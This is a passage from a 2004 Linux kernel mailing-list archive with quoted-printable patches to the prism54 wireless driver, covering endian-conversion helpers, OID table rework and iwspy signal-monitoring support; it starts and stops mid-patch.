struct obj_bss), + OID_STRUCT(DOT11_OID_CLIENTFIND, 0x150007DB, u8[6], OID_TYPE_ADDR), + OID_STRUCT(DOT11_OID_WDSLINKADD, 0x150007DC, u8[6], OID_TYPE_ADDR), + OID_STRUCT(DOT11_OID_WDSLINKREMOVE, 0x150007DD, u8[6], OID_TYPE_ADDR), + OID_STRUCT(DOT11_OID_EAPAUTHSTA, 0x150007DE, u8[6], OID_TYPE_ADDR), + OID_STRUCT(DOT11_OID_EAPUNAUTHSTA, 0x150007DF, u8[6], OID_TYPE_ADDR), + OID_U32_C(DOT11_OID_DOT1XENABLE, 0x150007E0), + OID_UNKNOWN(DOT11_OID_MICFAILURE, 0x150007E1), + OID_UNKNOWN(DOT11_OID_REKEYINDICATE, 0x150007E2), + + OID_U32(DOT11_OID_MPDUTXSUCCESSFUL, 0x16000000), + OID_U32(DOT11_OID_MPDUTXONERETRY, 0x16000001), + OID_U32(DOT11_OID_MPDUTXMULTIPLERETRIES, 0x16000002), + OID_U32(DOT11_OID_MPDUTXFAILED, 0x16000003), + OID_U32(DOT11_OID_MPDURXSUCCESSFUL, 0x16000004), + OID_U32(DOT11_OID_MPDURXDUPS, 0x16000005), + OID_U32(DOT11_OID_RTSSUCCESSFUL, 0x16000006), + OID_U32(DOT11_OID_RTSFAILED, 0x16000007), + OID_U32(DOT11_OID_ACKFAILED, 0x16000008), + OID_U32(DOT11_OID_FRAMERECEIVES, 0x16000009), + OID_U32(DOT11_OID_FRAMEERRORS, 0x1600000A), + OID_U32(DOT11_OID_FRAMEABORTS, 0x1600000B), + OID_U32(DOT11_OID_FRAMEABORTSPHY, 0x1600000C), + + OID_U32(DOT11_OID_SLOTTIME, 0x17000000), + OID_U32(DOT11_OID_CWMIN, 0x17000001), + OID_U32(DOT11_OID_CWMAX, 0x17000002), + OID_U32(DOT11_OID_ACKWINDOW, 0x17000003), + OID_U32(DOT11_OID_ANTENNARX, 0x17000004), + OID_U32(DOT11_OID_ANTENNATX, 0x17000005), + OID_U32(DOT11_OID_ANTENNADIVERSITY, 0x17000006), + OID_U32_C(DOT11_OID_CHANNEL, 0x17000007), + OID_U32_C(DOT11_OID_EDTHRESHOLD, 0x17000008), + OID_U32(DOT11_OID_PREAMBLESETTINGS, 0x17000009), + OID_STRUCT(DOT11_OID_RATES, 0x1700000A, u8[IWMAX_BITRATES + 1], + OID_TYPE_RAW), + OID_U32(DOT11_OID_CCAMODESUPPORTED, 0x1700000B), + OID_U32(DOT11_OID_CCAMODE, 0x1700000C), + OID_UNKNOWN(DOT11_OID_RSSIVECTOR, 0x1700000D), + OID_UNKNOWN(DOT11_OID_OUTPUTPOWERTABLE, 0x1700000E), + OID_U32(DOT11_OID_OUTPUTPOWER, 0x1700000F), + OID_STRUCT(DOT11_OID_SUPPORTEDRATES, 0x17000010, + u8[IWMAX_BITRATES + 1], OID_TYPE_RAW), + OID_U32_C(DOT11_OID_FREQUENCY, 0x17000011), + [DOT11_OID_SUPPORTEDFREQUENCIES] =3D + {0x17000012, 0, sizeof (struct obj_frequencies) + + sizeof (u16) * IWMAX_FREQ, OID_TYPE_FREQUENCIES}, + + OID_U32(DOT11_OID_NOISEFLOOR, 0x17000013), + OID_STRUCT(DOT11_OID_FREQUENCYACTIVITY, 0x17000014, u8[IWMAX_FREQ + 1], + OID_TYPE_RAW), + OID_UNKNOWN(DOT11_OID_IQCALIBRATIONTABLE, 0x17000015), + OID_U32(DOT11_OID_NONERPPROTECTION, 0x17000016), + OID_U32(DOT11_OID_SLOTSETTINGS, 0x17000017), + OID_U32(DOT11_OID_NONERPTIMEOUT, 0x17000018), + OID_U32(DOT11_OID_PROFILES, 0x17000019), + OID_STRUCT(DOT11_OID_EXTENDEDRATES, 0x17000020, + u8[IWMAX_BITRATES + 1], OID_TYPE_RAW), + + OID_STRUCT_MLME(DOT11_OID_DEAUTHENTICATE, 0x18000000), + OID_STRUCT_MLME(DOT11_OID_AUTHENTICATE, 0x18000001), + OID_STRUCT_MLME(DOT11_OID_DISASSOCIATE, 0x18000002), + OID_STRUCT_MLME(DOT11_OID_ASSOCIATE, 0x18000003), + OID_UNKNOWN(DOT11_OID_SCAN, 0x18000004), + OID_STRUCT_MLMEEX(DOT11_OID_BEACON, 0x18000005), + OID_STRUCT_MLMEEX(DOT11_OID_PROBE, 0x18000006), + OID_STRUCT_MLMEEX(DOT11_OID_DEAUTHENTICATEEX, 0x18000007), + OID_STRUCT_MLMEEX(DOT11_OID_AUTHENTICATEEX, 0x18000008), + OID_STRUCT_MLMEEX(DOT11_OID_DISASSOCIATEEX, 0x18000009), + OID_STRUCT_MLMEEX(DOT11_OID_ASSOCIATEEX, 0x1800000A), + OID_STRUCT_MLMEEX(DOT11_OID_REASSOCIATE, 0x1800000B), + OID_STRUCT_MLMEEX(DOT11_OID_REASSOCIATEEX, 0x1800000C), + + OID_U32(DOT11_OID_NONERPSTATUS, 0x1E000000), + + OID_U32(DOT11_OID_STATIMEOUT, 0x19000000), + OID_U32_C(DOT11_OID_MLMEAUTOLEVEL, 0x19000001), + OID_U32(DOT11_OID_BSSTIMEOUT, 0x19000002), + OID_UNKNOWN(DOT11_OID_ATTACHMENT, 0x19000003), + OID_STRUCT_C(DOT11_OID_PSMBUFFER, 0x19000004, struct obj_buffer, + OID_TYPE_BUFFER), + + OID_U32(DOT11_OID_BSSS, 0x1C000000), + [DOT11_OID_BSSX] =3D {0x1C000001, 63, sizeof (struct obj_bss), + OID_TYPE_BSS}, /*DOT11_OID_BSS1,...,DOT11_OID_BSS64 */ + OID_STRUCT(DOT11_OID_BSSFIND, 0x1C000042, struct obj_bss, OID_TYPE_BSS), [DOT11_OID_BSSLIST] =3D {0x1C000043, 0, sizeof (struct obj_bsslist) + - sizeof (struct obj_bss[IWMAX_BSS]), 0}, + sizeof (struct obj_bss[IWMAX_BSS]), + OID_TYPE_BSSLIST}, =20 - [OID_INL_TUNNEL] =3D OID_UNKNOWN(0xFF020000), - [OID_INL_MEMADDR] =3D OID_UNKNOWN(0xFF020001), - [OID_INL_MEMORY] =3D OID_UNKNOWN(0xFF020002), - [OID_INL_MODE] =3D OID_U32_C(0xFF020003), - [OID_INL_COMPONENT_NR] =3D OID_UNKNOWN(0xFF020004), - [OID_INL_VERSION] =3D OID_UNKNOWN(0xFF020005), - [OID_INL_INTERFACE_ID] =3D OID_UNKNOWN(0xFF020006), - [OID_INL_COMPONENT_ID] =3D OID_UNKNOWN(0xFF020007), - [OID_INL_CONFIG] =3D OID_U32_C(0xFF020008), - [OID_INL_DOT11D_CONFORMANCE] =3D OID_U32_C(0xFF02000C), - [OID_INL_PHYCAPABILITIES] =3D OID_U32(0xFF02000D), - [OID_INL_OUTPUTPOWER] =3D OID_U32_C(0xFF02000F), + OID_UNKNOWN(OID_INL_TUNNEL, 0xFF020000), + OID_UNKNOWN(OID_INL_MEMADDR, 0xFF020001), + OID_UNKNOWN(OID_INL_MEMORY, 0xFF020002), + OID_U32_C(OID_INL_MODE, 0xFF020003), + OID_UNKNOWN(OID_INL_COMPONENT_NR, 0xFF020004), + OID_UNKNOWN(OID_INL_VERSION, 0xFF020005), + OID_UNKNOWN(OID_INL_INTERFACE_ID, 0xFF020006), + OID_UNKNOWN(OID_INL_COMPONENT_ID, 0xFF020007), + OID_U32_C(OID_INL_CONFIG, 0xFF020008), + OID_U32_C(OID_INL_DOT11D_CONFORMANCE, 0xFF02000C), + OID_U32(OID_INL_PHYCAPABILITIES, 0xFF02000D), + OID_U32_C(OID_INL_OUTPUTPOWER, 0xFF02000F), =20 }; =20 @@ -257,6 +264,134 @@ priv->mib =3D NULL; } =20 +void +mgt_le_to_cpu(int type, void *data) +{ + switch (type) { + case OID_TYPE_U32: + *(u32 *) data =3D le32_to_cpu(*(u32 *) data); + break; + case OID_TYPE_BUFFER:{ + struct obj_buffer *buff =3D data; + buff->size =3D le32_to_cpu(buff->size); + buff->addr =3D le32_to_cpu(buff->addr); + break; + } + case OID_TYPE_BSS:{ + struct obj_bss *bss =3D data; + bss->age =3D le16_to_cpu(bss->age); + bss->channel =3D le16_to_cpu(bss->channel); + bss->capinfo =3D le16_to_cpu(bss->capinfo); + bss->rates =3D le16_to_cpu(bss->rates); + bss->basic_rates =3D le16_to_cpu(bss->basic_rates); + break; + } + case OID_TYPE_BSSLIST:{ + struct obj_bsslist *list =3D data; + int i; + list->nr =3D le32_to_cpu(list->nr); + for (i =3D 0; i < list->nr; i++) + mgt_le_to_cpu(OID_TYPE_BSS, &list->bsslist[i]); + break; + } + case OID_TYPE_FREQUENCIES:{ + struct obj_frequencies *freq =3D data; + int i; + freq->nr =3D le16_to_cpu(freq->nr); + for (i =3D 0; i < freq->nr; i++) + freq->mhz[i] =3D le16_to_cpu(freq->mhz[i]); + break; + } + case OID_TYPE_MLME:{ + struct obj_mlme *mlme =3D data; + mlme->id =3D le16_to_cpu(mlme->id); + mlme->state =3D le16_to_cpu(mlme->state); + mlme->code =3D le16_to_cpu(mlme->code); + break; + } + case OID_TYPE_MLMEEX:{ + struct obj_mlmeex *mlme =3D data; + mlme->id =3D le16_to_cpu(mlme->id); + mlme->state =3D le16_to_cpu(mlme->state); + mlme->code =3D le16_to_cpu(mlme->code); + mlme->size =3D le16_to_cpu(mlme->size); + break; + } + case OID_TYPE_SSID: + case OID_TYPE_KEY: + case OID_TYPE_ADDR: + case OID_TYPE_RAW: + break; + default: + BUG(); + } +} + +static void +mgt_cpu_to_le(int type, void *data) +{ + switch (type) { + case OID_TYPE_U32: + *(u32 *) data =3D cpu_to_le32(*(u32 *) data); + break; + case OID_TYPE_BUFFER:{ + struct obj_buffer *buff =3D data; + buff->size =3D cpu_to_le32(buff->size); + buff->addr =3D cpu_to_le32(buff->addr); + break; + } + case OID_TYPE_BSS:{ + struct obj_bss *bss =3D data; + bss->age =3D cpu_to_le16(bss->age); + bss->channel =3D cpu_to_le16(bss->channel); + bss->capinfo =3D cpu_to_le16(bss->capinfo); + bss->rates =3D cpu_to_le16(bss->rates); + bss->basic_rates =3D cpu_to_le16(bss->basic_rates); + break; + } + case OID_TYPE_BSSLIST:{ + struct obj_bsslist *list =3D data; + int i; + list->nr =3D cpu_to_le32(list->nr); + for (i =3D 0; i < list->nr; i++) + mgt_cpu_to_le(OID_TYPE_BSS, &list->bsslist[i]); + break; + } + case OID_TYPE_FREQUENCIES:{ + struct obj_frequencies *freq =3D data; + int i; + freq->nr =3D cpu_to_le16(freq->nr); + for (i =3D 0; i < freq->nr; i++) + freq->mhz[i] =3D cpu_to_le16(freq->mhz[i]); + break; + } + case OID_TYPE_MLME:{ + struct obj_mlme *mlme =3D data; + mlme->id =3D cpu_to_le16(mlme->id); + mlme->state =3D cpu_to_le16(mlme->state); + mlme->code =3D cpu_to_le16(mlme->code); + break; + } + case OID_TYPE_MLMEEX:{ + struct obj_mlmeex *mlme =3D data; + mlme->id =3D cpu_to_le16(mlme->id); + mlme->state =3D cpu_to_le16(mlme->state); + mlme->code =3D cpu_to_le16(mlme->code); + mlme->size =3D cpu_to_le16(mlme->size); + break; + } + case OID_TYPE_SSID: + case OID_TYPE_KEY: + case OID_TYPE_ADDR: + case OID_TYPE_RAW: + break; + default: + BUG(); + } +} + +/* Note : data is modified during this function */ + int mgt_set_request(islpci_private *priv, enum oid_num_t n, int extra, void *d= ata) { @@ -265,7 +400,7 @@ int response_op =3D PIMFOR_OP_ERROR; int dlen; void *cache, *_data =3D data; - u32 oid, u; + u32 oid; =20 BUG_ON(OID_NUM_LAST <=3D n); BUG_ON(extra > isl_oid[n].range); @@ -279,13 +414,11 @@ cache +=3D (cache ? extra * dlen : 0); oid =3D isl_oid[n].oid + extra; =20 - if (data =3D=3D NULL) + if (_data =3D=3D NULL) /* we are requested to re-set a cached value */ _data =3D cache; - if ((isl_oid[n].flags & OID_FLAG_U32) && data) { - u =3D cpu_to_le32(*(u32 *) data); - _data =3D &u; - } + else + mgt_cpu_to_le(isl_oid[n].flags & OID_FLAG_TYPE, _data); /* If we are going to write to the cache, we don't want anyone to read * it -> acquire write lock. * Else we could acquire a read lock to be sure we don't bother the @@ -303,7 +436,7 @@ islpci_mgt_release(response); } if (ret || response_op =3D=3D PIMFOR_OP_ERROR) - ret =3D -EIO; + ret =3D -EIO; } else if (!cache) ret =3D -EIO; =20 @@ -313,6 +446,10 @@ up_write(&priv->mib_sem); } =20 + /* re-set given data to what it was */ + if (data) + mgt_le_to_cpu(isl_oid[n].flags & OID_FLAG_TYPE, data); + return ret; } =20 @@ -324,9 +461,9 @@ int ret =3D -EIO; int reslen =3D 0; struct islpci_mgmtframe *response =3D NULL; -=09 + int dlen; - void *cache, *_res=3DNULL; + void *cache, *_res =3D NULL; u32 oid; =20 BUG_ON(OID_NUM_LAST <=3D n); @@ -349,7 +486,7 @@ ret =3D islpci_mgt_transaction(priv->ndev, PIMFOR_OP_GET, oid, data, dlen, &response); if (ret || !response || - response->header->operation =3D=3D PIMFOR_OP_ERROR) { + response->header->operation =3D=3D PIMFOR_OP_ERROR) { if (response) islpci_mgt_release(response); ret =3D -EIO; @@ -362,20 +499,19 @@ _res =3D cache; ret =3D 0; } - if (isl_oid[n].flags & OID_FLAG_U32) { - if (ret) - res->u =3D 0; - else - res->u =3D le32_to_cpu(*(u32 *) _res); - } else { + if ((isl_oid[n].flags & OID_FLAG_TYPE) =3D=3D OID_TYPE_U32) + res->u =3D ret ? 0 : le32_to_cpu(*(u32 *) _res); + else { res->ptr =3D kmalloc(reslen, GFP_KERNEL); BUG_ON(res->ptr =3D=3D NULL); if (ret) memset(res->ptr, 0, reslen); - else + else { memcpy(res->ptr, _res, reslen); + mgt_le_to_cpu(isl_oid[n].flags & OID_FLAG_TYPE, + res->ptr); + } } - if (cache) up_read(&priv->mib_sem); =20 @@ -387,7 +523,7 @@ "mgt_get_request(0x%x): received data length was bigger " "than expected (%d > %d). Memory is probably corrupted... ", oid, reslen, isl_oid[n].size); -=09 + return ret; } =20 @@ -404,14 +540,14 @@ int j =3D 0; u32 oid =3D t->oid; BUG_ON(data =3D=3D NULL); - while (j <=3D t->range){ + while (j <=3D t->range) { response =3D NULL; ret |=3D islpci_mgt_transaction(priv->ndev, PIMFOR_OP_SET, - oid, data, t->size, + oid, data, t->size, &response); if (response) { ret |=3D (response->header->operation =3D=3D - PIMFOR_OP_ERROR); + PIMFOR_OP_ERROR); islpci_mgt_release(response); } j++; @@ -431,13 +567,10 @@ BUG_ON(priv->mib[n] =3D=3D NULL); =20 memcpy(priv->mib[n], data, isl_oid[n].size); - if (isl_oid[n].flags & OID_FLAG_U32) - *(u32 *) priv->mib[n] =3D cpu_to_le32(*(u32 *) priv->mib[n]); + mgt_cpu_to_le(isl_oid[n].flags & OID_FLAG_TYPE, priv->mib[n]); } =20 -/* Commits the cache. If something goes wrong, it restarts the device. Lock - * outside - */ +/* Commits the cache. Lock outside. */ =20 static enum oid_num_t commit_part1[] =3D { OID_INL_CONFIG, @@ -486,7 +619,7 @@ /* some request have failed. The device might be in an incoherent state. We should reset it ! */ printk(KERN_DEBUG "%s: mgt_commit has failed. Restart the " - "device \n", priv->ndev->name); + "device \n", priv->ndev->name); } =20 /* update the MAC addr. As it's not cached, no lock will be acquired by @@ -530,3 +663,102 @@ =20 return 0; } + +int +mgt_response_to_str(enum oid_num_t n, union oid_res_t *r, char *str) +{ + switch (isl_oid[n].flags & OID_FLAG_TYPE) { + case OID_TYPE_U32: + return snprintf(str, PRIV_STR_SIZE, "%u\n", r->u); + break; + case OID_TYPE_BUFFER:{ + struct obj_buffer *buff =3D r->ptr; + return snprintf(str, PRIV_STR_SIZE, + "size=3D%u\naddr=3D0x%X\n", buff->size, + buff->addr); + } + break; + case OID_TYPE_BSS:{ + struct obj_bss *bss =3D r->ptr; + return snprintf(str, PRIV_STR_SIZE, + "age=3D%u\nchannel=3D%u\n\ + capinfo=3D0x%X\nrates=3D0x%X\nbasic_rates=3D0x%X\n", bss->age,= bss->channel, bss->capinfo, bss->rates, bss->basic_rates); + } + break; + case OID_TYPE_BSSLIST:{ + struct obj_bsslist *list =3D r->ptr; + int i, k; + k =3D snprintf(str, PRIV_STR_SIZE, "nr=3D%u\n", list->nr); + for (i =3D 0; i < list->nr; i++) + k +=3D snprintf(str + k, PRIV_STR_SIZE - k, + "bss[%u] : \nage=3D%u\nchannel=3D%u\ncapinfo=3D0x%X\nrates=3D0x= %X\nbasic_rates=3D0x%X\n", + i, list->bsslist[i].age, + list->bsslist[i].channel, + list->bsslist[i].capinfo, + list->bsslist[i].rates, + list->bsslist[i].basic_rates); + return k; + } + break; + case OID_TYPE_FREQUENCIES:{ + struct obj_frequencies *freq =3D r->ptr; + int i, t; + printk("nr : %u\n", freq->nr); + t =3D snprintf(str, PRIV_STR_SIZE, "nr=3D%u\n", freq->nr); + for (i =3D 0; i < freq->nr; i++) + t +=3D snprintf(str + t, PRIV_STR_SIZE - t, + "mhz[%u]=3D%u\n", i, freq->mhz[i]); + return t; + } + break; + case OID_TYPE_MLME:{ + struct obj_mlme *mlme =3D r->ptr; + return snprintf(str, PRIV_STR_SIZE, "id=3D0x%X\nstate=3D0x%X\n\ + code=3D0x%X\n", mlme->id, mlme->state, + mlme->code); + } + break; + case OID_TYPE_MLMEEX:{ + struct obj_mlmeex *mlme =3D r->ptr; + return snprintf(str, PRIV_STR_SIZE, "id=3D0x%X\nstate=3D0x%X\n\ + code=3D0x%X\nsize=3D0x%X\n", mlme->id, mlme->state, + mlme->code, mlme->size); + } + break; + case OID_TYPE_SSID:{ + struct obj_ssid *ssid =3D r->ptr; + return snprintf(str, PRIV_STR_SIZE, + "length=3D%u\noctets=3D%s\n", + ssid->length, ssid->octets); + } + break; + case OID_TYPE_KEY:{ + struct obj_key *key =3D r->ptr; + int t, i; + t =3D snprintf(str, PRIV_STR_SIZE, + "type=3D0x%X\nlength=3D0x%X\nkey=3D0x", + key->type, key->length); + for (i =3D 0; i < key->length; i++) + t +=3D snprintf(str + t, PRIV_STR_SIZE - t, + "%02X:", key->key[i]); + t +=3D snprintf(str + t, PRIV_STR_SIZE - t, "\n"); + return t; + } + break; + case OID_TYPE_RAW: + case OID_TYPE_ADDR:{ + unsigned char *buff =3D r->ptr; + int t, i; + t =3D snprintf(str, PRIV_STR_SIZE, "hex data=3D"); + for (i =3D 0; i < isl_oid[n].size; i++) + t +=3D snprintf(str + t, PRIV_STR_SIZE - t, + "%02X:", buff[i]); + t +=3D snprintf(str + t, PRIV_STR_SIZE - t, "\n"); + return t; + } + break; + default: + BUG(); + } + return 0; +} Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/oid_mgt.h,v retrieving revision 1.2 retrieving revision 1.3 diff -u -r1.2 -r1.3 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.h 30 Jan 2004 16:2= 4:00 -0000 1.2 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.h 18 Mar 2004 11:1= 6:23 -0000 1.3 @@ -32,6 +32,8 @@ =20 extern const int frequency_list_a[]; =20 +void mgt_le_to_cpu(int, void *); + int mgt_set_request(islpci_private *, enum oid_num_t, int, void *); =20 int mgt_get_request(islpci_private *, enum oid_num_t, int, void *, @@ -47,5 +49,7 @@ =20 enum oid_num_t mgt_oidtonum(u32 oid); =20 +int mgt_response_to_str(enum oid_num_t, union oid_res_t *, char *); + #endif /* !defined(_OID_MGT_H) */ /* EOF */ --RUvhGz2nhX7DIu1B-- --WxezjuMNsgvRf6mf Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbKXat1JN+IKUl4RAkpZAKCmaoIeG1RPCd+zUGVrPcTRbHL4wwCfcNjB YyvAH33wyeWyjY9FWG+M1b8= =O8ob -----END PGP SIGNATURE----- --WxezjuMNsgvRf6mf-- From mcgrof@studorgs.rutgers.edu Mon May 24 01:31:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:31:40 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8VHKO012687 for ; Mon, 24 May 2004 01:31:17 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 2FA40F9D4B; Mon, 24 May 2004 04:31:17 -0400 (EDT) Date: Mon, 24 May 2004 04:31:17 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 3/14 linux-2.6.7-rc1] prism54: add iwspy support Message-ID: <20040524083117.GD3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="27KoNqt0fmcl1zj/" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5263 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --27KoNqt0fmcl1zj/ Content-Type: multipart/mixed; boundary="fzZfjcV6kaBgkq89" Content-Disposition: inline --fzZfjcV6kaBgkq89 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 2004-03-18 Aurelien Alleaume * islpci_eth.c, islpci_dev.h, isl_ioctl.c : iwspy support. Ran * lindent. --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --fzZfjcV6kaBgkq89 Content-Type: text/plain; charset=unknown-8bit Content-Disposition: attachment; filename="03-add-iwspy-support.patch" Content-Transfer-Encoding: quoted-printable 2004-03-18 Aurelien Alleaume * islpci_eth.c, islpci_dev.h, isl_ioctl.c : iwspy support. Ran lindent. Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v retrieving revision 1.144 retrieving revision 1.145 diff -u -r1.144 -r1.145 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 18 Mar 2004 11= :16:23 -0000 1.144 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 18 Mar 2004 15= :27:44 -0000 1.145 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.144 2004/03/18 1= 1:16:23 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.145 2004/03/18 1= 5:27:44 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * (C) 2003,2004 Aurelien Alleaume @@ -2098,6 +2098,31 @@ return ret; } =20 +static int +prism54_set_spy(struct net_device *ndev, + struct iw_request_info *info, + union iwreq_data *uwrq, char *extra) +{ + islpci_private *priv =3D netdev_priv(ndev); + u32 u, oid =3D OID_INL_CONFIG; + + down_write(&priv->mib_sem); + mgt_get(priv, OID_INL_CONFIG, &u); + + if ((uwrq->data.length =3D=3D 0) && (priv->spy_data.spy_number > 0)) + /* disable spy */ + u &=3D ~INL_CONFIG_RXANNEX; + else if ((uwrq->data.length > 0) && (priv->spy_data.spy_number =3D=3D 0)) + /* enable spy */ + u |=3D INL_CONFIG_RXANNEX; + + mgt_set(priv, OID_INL_CONFIG, &u); + mgt_commit_list(priv, &oid, 1); + up_write(&priv->mib_sem); + + return iw_handler_set_spy(ndev, info, uwrq, extra); +} + static const iw_handler prism54_handler[] =3D { (iw_handler) prism54_commit, /* SIOCSIWCOMMIT */ (iw_handler) prism54_get_name, /* SIOCGIWNAME */ @@ -2115,7 +2140,7 @@ (iw_handler) NULL, /* SIOCGIWPRIV */ (iw_handler) NULL, /* SIOCSIWSTATS */ (iw_handler) NULL, /* SIOCGIWSTATS */ - iw_handler_set_spy, /* SIOCSIWSPY */ + prism54_set_spy, /* SIOCSIWSPY */ iw_handler_get_spy, /* SIOCGIWSPY */ iw_handler_set_thrspy, /* SIOCSIWTHRSPY */ iw_handler_get_thrspy, /* SIOCGIWTHRSPY */ @@ -2182,7 +2207,6 @@ #define IWPRIV_SSID(n,x) IWPRIV_SET_SSID(n,x), IWPRIV_GET(n,x) #define IWPRIV_ADDR(n,x) IWPRIV_SET_ADDR(n,x), IWPRIV_GET(n,x) =20 - /* Note : limited to 128 private ioctls */ =20 static const struct iw_priv_args prism54_private_args[] =3D { @@ -2234,7 +2258,7 @@ IWPRIV_U32(DOT11_OID_AUTHENABLE, "authenable"), IWPRIV_U32(DOT11_OID_PRIVACYINVOKED, "privinvok"), IWPRIV_U32(DOT11_OID_EXUNENCRYPTED, "exunencrypt"), -=09 + IWPRIV_U32(DOT11_OID_REKEYTHRESHOLD, "rekeythresh"), =20 IWPRIV_U32(DOT11_OID_MAXTXLIFETIME, "maxtxlife"), @@ -2261,7 +2285,7 @@ IWPRIV_GET(DOT11_OID_FREQUENCYACTIVITY, "freqactivity"), IWPRIV_U32(DOT11_OID_NONERPPROTECTION, "nonerpprotec"), IWPRIV_U32(DOT11_OID_PROFILES, "profile"), - IWPRIV_GET(DOT11_OID_EXTENDEDRATES,"extrates"), + IWPRIV_GET(DOT11_OID_EXTENDEDRATES, "extrates"), IWPRIV_U32(DOT11_OID_MLMEAUTOLEVEL, "mlmelevel"), =20 IWPRIV_GET(DOT11_OID_BSSS, "bsss"), @@ -2308,20 +2332,13 @@ .standard =3D (iw_handler *) prism54_handler, .private =3D (iw_handler *) prism54_private_handler, .private_args =3D (struct iw_priv_args *) prism54_private_args, + .spy_offset =3D offsetof(islpci_private, spy_data), }; =20 -/* These ioctls won't work with the new API */ +/* For ioctls that don't work with the new API */ =20 int prism54_ioctl(struct net_device *ndev, struct ifreq *rq, int cmd) { - /*struct iwreq *wrq =3D (struct iwreq *) rq; - islpci_private *priv =3D netdev_priv(ndev); - int ret =3D 0; - - switch (cmd) { - - } - */ return -EOPNOTSUPP; } Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_oid.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_oid.h,v retrieving revision 1.4 retrieving revision 1.5 diff -u -r1.4 -r1.5 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_oid.h 18 Mar 2004 11:1= 6:23 -0000 1.4 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_oid.h 18 Mar 2004 15:2= 7:44 -0000 1.5 @@ -1,9 +1,9 @@ /* - * $Id: isl_oid.h,v 1.4 2004/03/18 11:16:23 ajfa Exp $ + * $Id: isl_oid.h,v 1.5 2004/03/18 15:27:44 ajfa Exp $ * =20 * Copyright (C) 2003 Herbert Valerio Riedel * Copyright (C) 2004 Luis R. Rodriguez - * Copyright (C) 2004 Aur=E9lien Alleaume + * Copyright (C) 2004 Aurelien Alleaume * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -91,6 +91,19 @@ u16 mhz[0]; } __attribute__ ((packed)); =20 +struct obj_rx_annex { + u8 addr1[ETH_ALEN]; + u8 addr2[ETH_ALEN]; + u32 something0; + u32 time; + u16 something1; + u16 rate; + u16 freq; + u16 something2; + u8 rssi; + u8 pad[3]; +} __attribute__ ((packed)); + /*=20 * in case everything's ok, the inlined function below will be * optimized away by the compiler... Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v retrieving revision 1.56 retrieving revision 1.57 diff -u -r1.56 -r1.57 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h 18 Mar 2004 1= 1:44:17 -0000 1.56 +++ 